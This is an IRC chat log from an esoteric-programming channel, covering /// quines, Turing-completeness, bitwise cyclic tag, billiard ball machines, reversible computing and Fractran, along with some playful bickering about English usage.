20:39:32 <AnMaster> http://en.wiktionary.org/wiki/and does say *some* consider it incorrect but also notes that "[...], but use of the word in this way is very common. The practice will be found in literature from Anglo-Saxon times onwards, especially as an aid to continuity in narrative and dialogue. The OED provides examples from the 9th century to the 19th century, including one from Shakespeare’s King John: [...]"
20:40:07 <ehird> it's terribly annoying
20:40:23 <AnMaster> ehird, what? That Shakespeare used it too?
20:40:32 <AnMaster> yeah I guess you consider Shakespeare annoying
20:41:06 <pikhq> Shakespeare did a lot of things. ;)
20:41:28 <ehird> AnMaster: Yes, because one instance of an annoying phrase by someone well-known for brutally raping the English language to pieces on a regular basis, means that I despise the man and all his works.
20:41:40 <ehird> Clearly, too; but obviously celarly is *informally valid*.
20:41:59 * pikhq beats ehird for not knowing what informal English is.
20:42:23 <ehird> yeh ok! pikhq,,,,,
20:43:06 <pikhq> Þou art like unto an AOLer.
20:45:23 <AnMaster> anyway, as far as I can tell from wp it seems it is valid in informal English. And for special effects.
20:45:26 <Asztal> I hope you're not one of the "don't end sentences with prepositions" people ;)
20:45:30 <AnMaster> And no, I'm not likely to stop with it.
20:45:46 <AnMaster> Asztal, example of such? I can't think of one.
20:46:51 <Asztal> AnMaster: This is the type of sentence about which I was speaking
20:47:04 <AnMaster> Asztal, seems reasonable enough.
20:47:05 <Asztal> vs. "... which I was speaking about"
20:47:22 <AnMaster> Asztal, the latter seems more natural enough.
21:02:15 -!- oerjan has joined.
21:09:09 -!- fernando has joined.
21:09:33 -!- fernando has changed nick to Guest68422.
21:09:48 <Guest68422> im logged as spike form another computer, just if anybody wonders...
21:10:05 <oerjan> ah the same one, i'm reading the logs
21:10:12 <oerjan> seems my nick was mentioned
21:10:40 <Guest68422> yes, we were talking about Turing-completness of Brainfuck
21:11:03 <Guest68422> i would like to know if anybody has ever tried whitespace language...
21:11:35 <Guest68422> im trying to do a very simple thing, but i dont really understand some of the basics of the language
21:11:36 <oerjan> there was some discussion of "IO-completeness" on the wiki at some point, it's important for quines e.g. to be able to output in the same alphabet as the code is written in
21:12:10 * oerjan hasn't looked very much at Whitespace
21:12:32 <oerjan> i think /// is output-complete, for example, although it has no input
21:13:12 <oerjan> (see my quine at http://oerjan.nvg.org/esoteric/slashes/quine.sss
21:13:23 <oerjan> !slashes http://oerjan.nvg.org/esoteric/slashes/quine.sss
21:13:34 <EgoBot> /\/\/\/\\\\/\\\\\\\/\\\\\\\/\\\\\\\/\\\\\\\\\\\\\\\\\\\\\\//\/\/\/\\\/\/\\////\\////\\\///\\////\\\///\\////\\\///\\////\\\///\\\///\\\///\\\///\\////\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\////\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\////\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\////\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\\///\\////\\////\\\///\\////\\\//
21:13:57 <oerjan> that's just the beginning of the quine though, it's 1496 characters iirc
21:14:38 <oerjan> the /// can use other character than / and \ btw, i just found it interesting to show that those are enough for TC and quines
21:15:20 <oerjan> it's a very simple self-modifying substitution language
21:15:54 <oerjan> look at the beginning of the program. if it doesn't start with / or \, print the first character and continue with the rest
21:16:06 <oerjan> if it starts with \, print the character after that
21:16:42 <oerjan> if it starts with /, that is a substitution command
21:16:53 <oerjan> of the form /source/replacement/
21:17:17 <oerjan> where source and replacement can contain anything but / and \, or anything _escaped_ with \
21:17:47 <oerjan> it's just the sed/vi/perl substitution command reduced to the bare minimum
21:18:33 <oerjan> then, the first instance of source (escaping removed) in the rest is replaced by the replacement (also unescaped), repeat until source is nowhere to be seen
21:19:01 <oerjan> after that, continue interpreting whatever the rest has turned into
21:19:29 <oerjan> !slashes /test/Hello, /testworld!
21:20:09 <tetha> !slashes /test2/test//test2/Hello, /testworld!
21:20:12 <AnMaster> !slashes This is a much shorter quine (but could be even shorter).
21:20:13 <EgoBot> This is a much shorter quine (but could be even shorter).
21:20:26 <AnMaster> that *might* have been a quine
21:20:53 <oerjan> Guest68422: AnMaster keeps teasing me whenever i link to my quine, because in /// every program _not_ containing / or \ is _trivially_ a quine
21:21:31 <pikhq> You wrote a non-trivial quine.
21:21:42 <pikhq> Non-trivial quines are, of course, the more interesting ones.
21:21:44 <AnMaster> pikhq, yes I'm impressed by that
21:21:58 <oerjan> but as soon as you have one of those characters, you need to use similar self-replication methods to in other languages
21:22:10 <AnMaster> but I think it is important to mention that trivial quines also exist in ///
21:22:43 <AnMaster> oerjan, is slashes output complete you said?
21:22:54 <tetha> I think it is more interesting to note if there is no null-quine in a language
21:22:55 <oerjan> Guest68422: btw we use s/source/replacement/ in this channel for typo corrections, that is what made kerlo_ invent /// in the first place i think
21:23:13 <AnMaster> tetha, an empty string -> no output
21:23:26 <AnMaster> surely if you give it a file containing nothing it will produce the same
21:23:35 <AnMaster> you could redirect the empty output to a file
21:23:41 <AnMaster> then md5sum it with the original source
21:23:50 <oerjan> AnMaster: i _think_ it is output complete
21:23:52 <AnMaster> if it is same, then it is either a collision or the same
21:24:01 <AnMaster> oerjan, can it be proven at all?
21:24:13 <AnMaster> well, I guess if someone implemented bf in it
21:24:27 <tetha> AnMaster: I am not sure if that holds for each and every language possible, but for every language with a null-quine, trivial quines exist
21:24:46 <pikhq> oerjan: I could've sworn that s/foo/bar/ was ridiculously common in IRC.
21:24:59 <oerjan> pikhq: perhaps, i'm not much in other channels
21:25:02 <pikhq> Like "even Windows users that don't even know sed understand it" common.
21:25:05 <AnMaster> <tetha> I think it is more interesting to note if there is no null-quine in a language <-- ah, it was cut off
21:25:22 <AnMaster> I ended up interpreting it as "null quines doesn't exist"
21:25:53 <oerjan> my !help command never responded...
21:25:56 <AnMaster> the easiest way to make that line make sense was to drop the "if"
21:25:56 <EgoBot> help: General commands: !help, !info, !bf_txtgen. See also !help languages, !help userinterps. You can get help on some commands by typing !help <command>.
21:26:17 <kerlo_> What does "output complete" mean?
21:26:28 <AnMaster> <pikhq> oerjan: I could've sworn that s/foo/bar/ was ridiculously common in IRC. <-- yes it is
21:26:47 <AnMaster> like, say, #bash, but probably not #ubuntu
21:27:03 <pikhq> AnMaster: *Windows users* get it.
21:27:36 <ehird> oerjan: isn't slashes isomorphic to thue
21:27:38 <pikhq> Just because it's used idiomatically on IRC, not because they use sed, Perl, awk, or anything else...
21:28:23 <AnMaster> kerlo_, as in BF. You can output any string to stdout basically.
21:28:57 <AnMaster> oerjan, slashes can only output chars found in it's input however.
21:29:03 <oerjan> kerlo_: by that i mean that it can compute arbitrary output in its alphabet
21:29:25 <kerlo_> /// can easily do that.
21:29:30 <oerjan> AnMaster: true, but it's not hard to include all of Latin1
21:29:41 <AnMaster> oerjan, a bit more work for all of utf-8
21:29:48 <oerjan> kerlo_: where that is meant in a technical sense that is hard to understand
21:29:50 <AnMaster> you just need one of every byte
21:30:04 <AnMaster> for a "lookup" table of some mad sort
21:30:21 <oerjan> kerlo_: basically it came out of the discussion we had about the socalled "quineless" language someone made
21:30:29 <ehird> AnMaster: thue does that too
21:30:41 <AnMaster> ehird, ah, I don't know thue though
21:30:44 <kerlo_> ehird: it'll be isomorphic to Thue once someone finds an isomorphism.
21:30:46 <oerjan> that language disallowed printing the first character of the source code before any other
21:30:47 <ehird> oerjan: a true quineless, TC language:
21:30:51 <ehird> output is totally buffered
21:30:55 <ehird> if output==program
21:30:59 <ehird> "PINK UNICORN BUTTS~!~"
21:31:04 <ehird> otherwise output is outputted
21:31:11 <oerjan> ehird: and that violates my definition of output-completeness
21:31:44 <kerlo_> <program> ::= "R" <BF-program> | "P" anything
21:31:54 <AnMaster> isn't there some esolang that mandates the implementation to output "the empty program is not a quine" if given an empty input program
21:32:07 <kerlo_> R runs the BF program, removing all instances of R from the output. P prints the string.
21:32:18 <AnMaster> ehird, who are you replying to
21:32:28 <oerjan> ehird: thue is not self-modifying btw
21:32:28 <ehird> kerlo_: that's what the language was
21:32:38 <kerlo_> The obvious quine is bottom. The other obvious quine is Ps repeated forever.
21:32:39 <oerjan> it only modifies the initial string, not its own program
21:32:40 <AnMaster> ehird, wasn't clear if it was me or kerlo_
21:32:40 <ehird> oerjan: you could just do some escaping magic
21:32:55 <ehird> oerjan: to emulate thue in ///
21:33:31 <oerjan> ehird: most likely, by choosing slightly different encodings for the program and string part
21:34:07 <oerjan> AnMaster: Homespring has "the empty program is not a quine" iirc
21:34:18 <AnMaster> oerjan, ah name sounds familiar
21:34:18 <ehird> Guest68422 dies in the last episode
21:34:38 <pikhq> Homespring is amazing.
21:34:51 <Guest68422> im going to die, yes, but in this episode of "Whitespace Programming"
21:34:56 <pikhq> Guest68422 is wearing a red shirt.
21:35:03 <AnMaster> pikhq, http://esolangs.org/wiki/Homespring ?
21:35:08 <ehird> did nobody pick up on my reference? :(
21:35:19 <ehird> AnMaster: I don't expect you to
21:35:26 <pikhq> ehird: I don't watch TV.
21:35:31 <AnMaster> "The name stands for Hatchery Oblivion through Marshy Energy from Snowmelt Powers Rapids Insulated but Not Great."
21:35:32 <kerlo_> ehird: I know that people say that so-and-so dies in the last episode.
21:35:44 <pikhq> Most of what I watch is in ~/video/
21:35:57 <pikhq> AnMaster: That's a program, BTW.
21:36:04 <AnMaster> pikhq, don't touch ~/video/airshows please :P
21:36:21 <pikhq> AnMaster: Oh, you've got ~/video/ *organised*?
21:36:22 <AnMaster> pikhq, err yeah, the implementation of Homespring would be a program
21:36:59 <pikhq> AnMaster: No, I mean "Hatchery Oblivion through Marshy Energy from Snowmelt Powers Rapids Insulated but Not Great." (IIRC)
21:37:13 <pikhq> I don't recall what it does.
21:37:19 <oerjan> Guest68422: Whitespace is not really a turing tarpit though, it has too many commands
21:37:24 <AnMaster> pikhq, certainly. It is actually ~/video/<category>/<subcategory, varies, can be year, composer, whatever>/<either file, or more subtypes>
21:37:41 <bsmntbombdood> you use inotify to allow you to arbitrarily restructure your bittorrent downloads while still seedign
21:37:49 <pikhq> AnMaster: ~/video/series for me, with a few movies in ~/video/ straight.
21:37:57 <ehird> bsmntbombdood: wut
21:38:00 <AnMaster> <pikhq> AnMaster: No, I mean "Hatchery Oblivion through Marshy Energy from Snowmelt Powers Rapids Insulated but Not Great." (IIRC) <-- that seems horrible /usr/bin/Long\ Escaped\ String
21:38:10 <pikhq> Oh, ~/video/series/season. XD
21:38:20 <oerjan> i haven't tried it really, it belongs to the category of "esoteric languages that are a thin varnish over a vanilla imperative or assembly-like language"
21:38:21 <AnMaster> pikhq, ah, I have ~/video/incomming, which contains three files atm
21:38:26 <Guest68422> is for a paper im writing on esoteric languages
21:38:28 <ehird> Guest68422: BCT. Lambda calculus.
21:38:37 <ehird> The two eminently typical tarpits.
21:38:38 <oerjan> which are not particularly interesting for a mathematician...
21:38:38 <AnMaster> when I don't have time to move it to the right place straight away
21:38:43 <ehird> Imperative, functional.
21:38:52 <ehird> 21:38 oerjan: i haven't tried it really, it belongs to the category of "esoteric languages that are a thin varnish over a vanilla imperative or assembly-like language"
21:39:03 <Guest68422> im looking for some languages that resembles the Turing machine
21:39:10 <ehird> Guest68422: a turing machine.
21:39:15 <ehird> Also BCT, is quite turing machine-like.
21:39:17 <Guest68422> you know, like in BF where you can imagine the array as a tape
21:39:24 <pikhq> Guest68422: Turing machine, P''. (AKA Brainfuck)
21:39:32 <ehird> pikhq: yes, but BCT is more tarpitty
21:39:50 <ehird> bsmntbombdood: that's not a turing machine
21:40:05 <pikhq> No, but it's stricly equivalent.
21:40:06 <ehird> also, lambda calculus has less baggage than the traditional SKI description
21:40:16 <ehird> because SKI is usually described in terms of lambdas
21:40:19 <ehird> in terms of term rewriting,
21:40:22 <ehird> yes, SKI is a lot simpler
21:40:33 <ehird> AnMaster: do you have a dictionary? use it
21:40:43 <ehird> That relies on the LC thus is strictly more bloated than it.
21:40:49 <AnMaster> ehird, I know what baggage is. It is stuff you take with you when you travel.
21:40:54 <ehird> If you describe it in terms of tree rewriting, however...
21:40:56 <AnMaster> ehird, but I fail to see how it applies here
21:41:04 <ehird> AnMaster: USE A FUCKING DICTIONARY!
21:41:22 <pikhq> AnMaster: BENKYOU! BENKYOU!
21:41:34 <AnMaster> ehird, there: http://wordnetweb.princeton.edu/perl/webwn?s=baggage
21:42:01 <ehird> AnMaster: I am not tailoring my english to your inability to comprehend everything but the most literal, verbose language.
21:42:05 <AnMaster> ehird, I still fails to see how it apply.
21:42:18 <AnMaster> ehird, ah, so it has a non-literal meaning in English
21:42:35 <ehird> AnMaster: Fuck off! You can look these things up for yourself.
21:42:37 <AnMaster> I can't find any defintion of it
21:42:46 <ehird> aaaaaaaaaaaaaaaaaaaaaaaargh
21:43:00 <pikhq> Hmm. Somewhere out there, there's an idiom dictionary.
21:43:02 <oerjan> Guest68422: ehird and AnMaster are the local "always quarrel, but not really _that_ harshly" duet. don't mind them. :)
21:43:17 <pikhq> Need to ask my mom for the name of it for AnMaster.
21:43:24 <AnMaster> ehird, and since I'm outside and ircing from a handheld. I don't have a dict handy atm
21:43:25 <ehird> it's obviously my fault that AnMaster doesn't know english, indeed.
21:43:53 <AnMaster> Guest68422, bitwise cyclic tags.
21:43:53 <oerjan> Guest68422: most things mentioned here have a link on the esolangs wiki
21:44:04 <ehird> Guest68422: esolangs.org/wiki/BCT
21:44:22 <oerjan> Guest68422: btw the way i proved /// TC was by implementing BCT in it. it is _extremely_ simple so useful for that
21:44:51 <ehird> AnMaster: You might want to learn to type, too.
21:45:32 <oerjan> Guest68422: also try esolangs.org/wiki/Category:Turing_tarpits
21:45:37 <AnMaster> ehird, it would be MUCH easier in lojban I bet :P
21:46:52 <oerjan> Guest68422: oh yeah, i was reminded of Fractran (which isn't it that list because it's not technically esoteric)
21:47:14 <oerjan> maybe it should still be in Category:Turing tarpits though
21:50:32 <Guest68422> is there any compiler for Billiard ball machine?
21:52:16 <oerjan> it seems that ihope (= kerlo) didn't find any when he made the article for it
21:52:59 <ehird> "It then becomes Turing-complete if an infinite number of balls/obstacles is allowed."
21:53:33 -!- Guest68422 has quit ("Saliendo").
21:53:41 <oerjan> i expect repeating is enough for such things
21:53:56 <ehird> oerjan: so basically, just replicate the playing field and deal with the edges
21:54:47 <AnMaster> http://esoteric.voxelperfect.net/wiki/Fractran_plus_plus <-- wth?
21:54:56 <ehird> what do you mean wth
21:55:14 <oerjan> Billiard ball machine seems like something that should be possible to implement in Alpaca..
21:55:22 <ehird> oerjan: that would be nice
21:55:39 <oerjan> with slightly different symbols
21:56:35 <oerjan> you need a way to distinguish ball directions...
22:00:09 <oerjan> turning it 45 degrees and using ><^v for example
22:00:36 <AnMaster> how does the version documented there decide that direction issue you mention, in the input file
22:01:06 <AnMaster> how can it be TC with infinite gird? Aren't you still limited to the same number of balls?
22:01:16 <oerjan> AnMaster: it's really just a sketch of a language
22:01:31 <oerjan> AnMaster: infinite number of balls too, i assume
22:01:34 <AnMaster> how is it proven to be TC then
22:01:43 <AnMaster> "Categories: Languages | Turing tarpits | No IO | Two-dimensional languages | Low-level | Reversible computing"
22:01:47 <oerjan> AnMaster: i would imagine you could make a turing tape
22:02:00 <oerjan> with some complicated gates and a long, broad strip
22:02:00 <AnMaster> oerjan, sure, but someone put it in "turing tarpits"
22:02:17 <AnMaster> which doesn't seem like correct if it isn't known to be TC
22:02:17 <oerjan> AnMaster: let's ask kerlo
22:02:30 <oerjan> kerlo_: where did you hear that Billiard Ball Machine is TC?
22:02:49 <AnMaster> oerjan, it says ihope edited it?
22:03:00 <AnMaster> I don't remember. ihope changes nick so often
22:03:20 <oerjan> AnMaster: just whois him, it's still his account name
22:03:37 <AnMaster> oerjan, I don't understand the context of: http://esoteric.voxelperfect.net/wiki/Talk:Billiard_ball_machine
22:04:24 <oerjan> for that, i suggest asking MizardX :D
22:04:43 <AnMaster> oerjan, um he isn't logged in. "* [oerjan] is signed on as account oerjan" <-- that is account name "* [kerlo_] (n=ihope@s1.normish.org): ihope" <-- the first is the ident, the second is the "real name" or "gecos", there are several names for it. But not account name.
22:05:29 <AnMaster> "In bra-ket notation, these gates can be expressed as follows:" <-- is that typo of "bracket" intentional?
22:05:30 <oerjan> AnMaster: i recall it was last time i whois'ed him
22:05:38 <AnMaster> * [kerlo_] (n=ihope@s1.normish.org): ihope
22:05:39 <AnMaster> * [kerlo_] irc.freenode.net :http://freenode.net/
22:05:50 <oerjan> AnMaster: yes, standard quantum mechanics terminology
22:06:06 <AnMaster> oerjan, ok, Assume I know almost nothing about that
22:06:23 <AnMaster> and how are billiard related to quantum mechanics?
22:06:26 <Spike_> i really liked the idea of reMorse2
22:06:32 <Spike_> is there any compiler?
22:06:38 <oerjan> <x|y> is the inner product of two state vectors in quantum mech.
22:06:50 <Spike_> the link form the documentation is broken...
22:07:11 <oerjan> physicists separate those into <x| |y> which are called bra and ket part respectively
22:07:20 <AnMaster> oerjan, I did realise that since "Feynman gate" _was_ mentioned, quantum mechanics were involved somehow
22:07:29 <kerlo_> An infinite BBM with an infinite number of balls would be TC.
22:07:35 <oerjan> then |y> is a vector and <x| is a dual vector
22:07:59 <AnMaster> oerjan, I just still have no clue why billiard balls have anything to do with quantum mechanics.
22:08:05 <oerjan> AnMaster: it's just a suggested extension, like most in that last section
22:08:22 <kerlo_> AnMaster: what would be much easier in Lojban, you bet?
22:08:31 <oerjan> if i understand correctly
22:08:37 <kerlo_> AnMaster: logic + infinite memory = Turing-complete.
22:08:43 <AnMaster> kerlo_, I forgot what it was about.
22:09:28 <AnMaster> kerlo_, I'm not sure that statement would hold up as a formal proof. I could be wrong though.
22:09:49 <oerjan> kerlo_: it's plausible, but not a proof
22:12:02 <kerlo_> Okay, then. Make a one-dimensional CA out of it.
22:12:27 <oerjan> hm since it's reversible tc would have to be done through a reversible turing machine
22:12:43 <ehird> AnMaster: .........
22:13:06 <AnMaster> ehird, I *did* check http://esoteric.voxelperfect.net/wiki/CA first
22:13:57 <kerlo_> Have an infinite field of balls coming in on side. Junk information can be thrown out the other side.
22:14:48 <AnMaster> ah, you must mean cellular automaton
22:16:44 <oerjan> Spike_: ouch, that geocities page isn't even on Wayback Machine
22:16:59 -!- Sgeo has joined.
22:17:48 <oerjan> kerlo_: i guess that's essentially how a reversible turing machine simulates an ordinary one anyhow :D
22:20:22 * oerjan makes a redirect for CA
22:22:30 <oerjan> kerlo_: more to the point, did you get the idea for Billiard Ball Machine from anywhere else in particular?
22:22:47 <oerjan> in case there are relevant links
22:24:15 <ehird> oerjan: http://en.wikipedia.org/wiki/Billiard-ball_computer
22:28:59 * oerjan notes the link to http://en.wikipedia.org/wiki/Unconventional_computing
22:29:03 <kerlo_> Something like that link.
22:30:17 <ehird> *Main> last (fractran [13/21,385/13,1/7,3/11,7/2,1/3] ((2^7)*(3^4))) == 5^(7*4)
22:32:03 <AnMaster> how do you implement a non-reversible algorithm in them
22:32:25 <AnMaster> oerjan, I have to assume it is possible, since otherwise they wouldn't be TC
22:33:16 <oerjan> you can compute y += f(x) or y ^= f(x), those are reversible operations even if f isn't
22:33:37 <ehird> a reversible TM is just one that never throws away data
22:33:40 <ehird> so you could encrypt S
22:33:44 <ehird> but you'd have to keep
22:33:49 <oerjan> one trick i recall from reading about a reversible computer is:
22:34:24 <oerjan> (1) calculate f(x) using whatever temporary space you need
22:34:28 <AnMaster> ehird, so better not implement something that could be DDoSed in such a TM then :P
22:34:55 <oerjan> (2) copy the answer to the desired storage place (with adding or xoring, say)
22:35:07 <oerjan> (3) _uncalculate_ f(x) to reclaim the temporary space
22:35:27 <oerjan> i.e. (3) is just (1) in reverse
22:36:09 <oerjan> otoh reclaiming memory is probably not theoretically necessary, just ignore it
22:36:23 <oerjan> but it's important for a practical reversible computer
22:36:34 <AnMaster> oerjan, and reversible TMs aren't practical I guess?
22:36:48 <oerjan> well TMs aren't really
22:37:06 <oerjan> they do have quadratic overhead compared to a pointer architecture...
22:37:23 <AnMaster> but a reversible pointer architecture?
22:37:56 <oerjan> sure, the example was fairly ordinary machine code, except nearly every instruction was reversible
22:38:20 <oerjan> there was also a "bit bucket" operation for really throwing away data, iirc
22:38:41 <oerjan> and it worked by physically throwing the data out from the reversible chip :D
22:39:37 <oerjan> it was a couple years ago i read it
22:39:53 <AnMaster> how did it "physically throw"?
22:40:05 <AnMaster> as in, a mechanical arm throwing away the memory chip?
22:41:24 <oerjan> i mean as in it transferred the bit out of the reversible part of the chip into a special area, i think
22:42:02 <oerjan> hey there's a revcomp wiki
22:42:47 <oerjan> (http://en.wikipedia.org/wiki/Reversible_computing but that's not where i read those things)
22:45:34 <oerjan> ah there it was i think
22:48:15 <oerjan> http://citeseerx.ist.psu.edu/viewdoc/summary?doi=10.1.1.34.6076
22:48:44 <oerjan> except the bit bucket ("bit erasure") part may have been just a theoretical discussion
22:49:41 <AnMaster> oerjan, how does one read that
22:49:53 <AnMaster> I can't find the link the the actual thing
22:50:05 <oerjan> there's a pdf cache link in the upper right
22:50:08 <AnMaster> http://www.ai.mit.edu/~cvieri/thesis.ps is a 404
22:50:48 <oerjan> i use that anyway since i don't have ps setup on this computer
22:51:06 <oerjan> (there's also ps cache for those who want it)
22:51:27 <AnMaster> I would use it, except the pdf renders better
22:51:32 <oerjan> very nice of citeseer to do that
22:52:35 <oerjan> that article looks like it's scanned in, anyway
22:54:16 <ehird> just ps→pdf conversion
22:54:53 <ehird> oerjan: do you think that this is a good format for fractran programs: "p=324234; 31/21, 385/13, "1/7, 3/11, 7/2, 1/3"
22:55:00 <ehird> or do you think p should be user-specifiable?
22:55:28 <oerjan> user-specifiable, that's the only input after all
22:55:31 <AnMaster> ehird, I hink you got the quotes wrong
22:55:42 <ehird> AnMaster: no I didn't
22:55:47 <ehird> oerjan: right, but some programs may only work with one value
22:55:51 <AnMaster> "p=324234; 31/21, 385/13, "1/7, 3/11, 7/2, 1/3" <-- really?
22:55:53 -!- Corun has quit ("Leaving...").
22:55:56 <AnMaster> so what does the middle one mean
22:55:58 <ehird> AnMaster: Oh, fine.
22:56:17 <AnMaster> ehird, then don't say you didn't without checking...
22:56:48 <oerjan> ehird: hm right, both then
22:59:46 <AnMaster> oerjan, it mentions billiard ball model btw
23:03:27 -!- BeholdMyGlory has joined.
23:06:55 -!- GregorR-L has joined.
23:07:10 <GregorR-L> Somebody here will appreciate this (albeit unrelated to #esoteric ): http://codu.org/masterpiecemachine/
23:09:05 -!- tombom has quit (Read error: 110 (Connection timed out)).
23:09:34 -!- GregorR-L has set topic: <ehird> i'm grepping myself but slow | IT BUGLES MY MIND | http://tunes.org/~nef/logs/esoteric/?C=N;O=D.
23:14:46 <oerjan> This is obviously some strange usage of the word "masterpiece" that I hadn't previously been aware of.
23:15:05 <GregorR-L> It's a usage that only Eric, Michael, Kevin, Kevin and I use.
23:15:13 <GregorR-L> (Where those names are friends of mine and their siblings)
23:16:03 <oerjan> Mind if we call you "Kevin" to keep it clear?
23:16:37 <GregorR-L> Luckily Kevin and Kevin are not siblings :P
23:18:00 <pikhq> However, Kevin is his own grandpa.
23:18:14 <AnMaster> oerjan/Eric, don't be daft. We should call him Eric.
23:19:15 <oerjan> as long as he's not idle
23:21:25 <AnMaster> GregorR, what is "Length of mandatory rest, in measures:"
23:21:55 <AnMaster> does it say that there should be at least that many measures that are rests?
23:22:06 <ehird> http://codu.org/masterpiecemachine/?mpid=Side-to-side+Prickly+Toccata this is good
23:22:08 <GregorR-L> AnMaster: It's more of a comment than anything else, but yeah.
23:22:36 <GregorR-L> AnMaster: Good keyword, I'll add that :P
23:22:55 <AnMaster> GregorR, "Name/ID (blank for random):" <-- what sort of stuff do you get for random
23:23:08 <GregorR-L> Names like Side-to-side Prickly Toccata
23:23:27 <AnMaster> GregorR, Would be useful to be able to specify part of the name
23:23:27 -!- Corun has joined.
23:23:39 <AnMaster> GregorR, such as saying it should be an "air" or whatever
23:23:49 <AnMaster> GregorR, but getting random for the full name
23:24:05 <GregorR-L> AnMaster: It chooses the music part of the name based on the time signature, but yeah, I guess that'd be somethingish *shrugs*
23:24:12 <AnMaster> GregorR, consider it a feature request
23:24:21 <AnMaster> GregorR, is time signature enforced?
23:24:47 <AnMaster> "Successfully created Masterpiece Now-and-then Political Dance" <-- interesting
23:25:04 -!- bsmntbombdood has quit (hubbard.freenode.net irc.freenode.net).
23:25:08 <AnMaster> Style: Melody, harmony and flourish (3 tracks)
23:25:16 <AnMaster> or is it supposed to allow that
23:25:24 <GregorR-L> The style is just another comment.
23:25:49 <GregorR-L> "style" and "measures rest" are just suggestions to the composer, so they don't affect anything else.
23:26:08 <AnMaster> sadly I'm no good at composing. So I have to skip actually composing part of it
23:26:30 <ehird> oerjan: let's build a DOMINO COMPUTER.
23:26:34 -!- bsmntbombdood has joined.
23:26:37 <GregorR-L> AnMaster: Leaving the "nothing" part :P
23:26:40 <AnMaster> btw, I will be away and unreachable from the 8th to the 13th (partly inclusive)
23:27:01 <AnMaster> ehird, I will be sure to show you the photos :P
23:27:06 <ehird> FUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU
23:27:16 <AnMaster> ehird, going to guided tour at Esrange (they launch rockets there)
23:27:49 <Spike_> i wonder if anybody understands this list of operatos in ReMorese... :
23:27:55 <Spike_> The (circular) List of Operations and their Opposites
23:27:55 <Spike_> operations|opposites|comments
23:27:55 <Spike_> ----------+---------+--------
23:27:55 <Spike_> push |pop |into/outof datum
23:27:55 <Spike_> output chr|input chr|always ASCII (use stack)
23:27:56 <Spike_> bit sort |tros tib |bit sort (stacktop) normal/reverse
23:27:58 <Spike_> select bit|filt bit |stacktop=stacktop AND YES/NOT funky
23:28:00 <Spike_> rot left |rot right|rotate funky (bitwise)
23:28:00 <AnMaster> ehird, you might want to check http://en.wikipedia.org/wiki/Esrange
23:28:02 <Spike_> increase |decrease |(datum) by value in funky reg
23:28:04 <Spike_> ptr forth |ptr back |by value in funky reg
23:28:06 <Spike_> jmp forth |jmp back |by top value on stack
23:28:21 <ehird> AnMaster: what does it matter when nobody is talking?
23:28:27 <ehird> it's only annoying if the channel is activ
23:28:31 <AnMaster> ehird, you consider me "nobody"=
23:28:47 <ehird> Spike_: there's no ReMorese page on the wiki
23:29:01 <ehird> Spike_: oh, http://esolangs.org/wiki/ReMorse?
23:29:13 <Spike_> i understand what push, output and increase does
23:29:22 <ehird> Spike_: look on the wiki page
23:29:25 <ehird> it has longtext descriptions
23:29:49 <ehird> oerjan: I'm now interested in reversible turing tarpits.
23:29:51 <ehird> Guess I have to write one!
23:30:37 <Spike_> what im not really getting is why remorse2 uses "fake push"
23:31:26 <ehird> Spike_: did you say you're writing a paper on esolangs?
23:31:52 <AnMaster> GregorR, who wrote that first music piece
23:32:31 <ehird> AnMaster: Plural who?
23:32:33 <ehird> I'm not sure that works.
23:32:53 <GregorR-L> (And it'd better only be one person who says it doesn't! ;) )
23:33:01 <AnMaster> ehird, hm... so what do you say if you mean "who" -> group of people
23:33:07 <ehird> AnMaster: i'm not sure
23:33:17 <ehird> your sentence is just odd :P
23:33:17 <AnMaster> ehird, I thought it was just "who"
23:33:19 <ehird> "If the average American watches TV for about 2 hours a day"
23:33:24 <oerjan> ehird: i feel that project is destined to fall
23:33:34 <ehird> oerjan: har har har
23:33:55 <AnMaster> ehird, I would have guessed a bit more
23:34:38 <ehird> AnMaster: What about it?
23:34:53 <ehird> (If we say 7 days a week instead of 5, it's 5)
23:35:00 <AnMaster> lets say, 8 hours of sleep, minimum.
23:35:04 <oerjan> ehird: check out Kayak
23:35:08 <Spike_> ehird yes, thats what im doing
23:35:22 <ehird> AnMaster: Your issue is assuming any sort of sanity beyond mindless TV-watching in the average American mind.
23:35:24 <AnMaster> but you really can't manage with less in the long run
23:35:28 <ehird> Spike_: high school or university?
23:35:33 <AnMaster> then work takes maybe 8 hours a day
23:35:48 <Spike_> it is for a professor at my university
23:36:09 <AnMaster> for TV AND traveling to work AND eating
23:36:12 <ehird> AnMaster: You do know that the average american is a part time schmuck, right?
23:36:29 <ehird> Spike_: algorhythmic is the study of algorithms for RHYTHM.
23:36:34 <ehird> No but seriously, I think you mean algorithms :)
23:36:40 <Spike_> and i think this topic is great for comparing turing machines with really simple languages
23:36:40 <AnMaster> Schmuck (pejorative), an insulting term for a stupid person or dimwitted fool or an unwanted guest
23:36:54 <ehird> Spike_: Yeah, it is
23:37:02 <AnMaster> "Schmuck is a surname. Of German origin, it means jewel or jewelry."
23:37:22 <ehird> Spike_: If you want a real TM, our resident ais523 proved this turing machine turing complete: http://www.wolframscience.com/prizes/tm23/
23:37:27 <ehird> so it's the smallest possible TC TM
23:37:35 <Spike_> but before writing, i need to understand myself how this things work... :D
23:37:36 <AnMaster> ehird, anyway you can't manage 8 hours TV
23:37:56 <ehird> AnMaster: remember, this is for 5-days-a-week
23:38:00 <AnMaster> spread over 7 days instead so you get 5 then it works
23:38:02 <ehird> for 7 days a week it comes to 5 hours
23:38:06 <ehird> AnMaster: do you know what part-time means?
23:38:10 <ehird> it means that work=8hrs is incorrect.
23:38:29 <Spike_> did he won the $25.000?
23:38:43 <AnMaster> ehird, I thought you mean "part time schmuck" => "part time (an insulting term for a stupid person or dimwitted fool or an unwanted guest)"
23:38:44 <ehird> Spike_: yes (although in the UK and US, you just said $25 :-P)
23:39:04 <AnMaster> ehird, it was possible to interpret it that way
23:39:09 <ehird> AnMaster: i'm not sure it's possible to change your schmuckiness :)
23:39:26 <AnMaster> ehird, It is due to language barrier.
23:39:48 <ehird> Spike_: yeah, but he's a uni student; I think he's burned it off on mostly living expenses by now
23:39:58 <GregorR-L> There is a Swedish person sitting right next to me who I'm sure would have no problem understanding that. Language barrier shmanguage barrier :P
